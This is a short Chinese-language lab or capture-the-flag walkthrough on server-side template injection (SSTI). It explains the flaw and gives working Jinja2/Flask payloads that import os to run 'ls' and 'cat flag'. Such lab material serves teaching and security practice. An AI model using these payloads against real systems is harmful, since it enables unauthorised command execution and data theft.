实验名称
简单的ssti
实验简介
是一种针对服务器端模板的注入漏洞。
实验说明
攻击者 将恶意代码输入到模板 服务器在执行时未对恶意代码进行处理 就输出执行
将字符串 当作模板执行
ssti注入就是使其渲染我们想要执行的的字符串
实验步骤
步骤一：
输入 {{7*7}}判断类型
步骤二：
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
步骤三：
{{url_for.__globals__.__builtins__['__import__']('os').popen('cat flag').read()}}
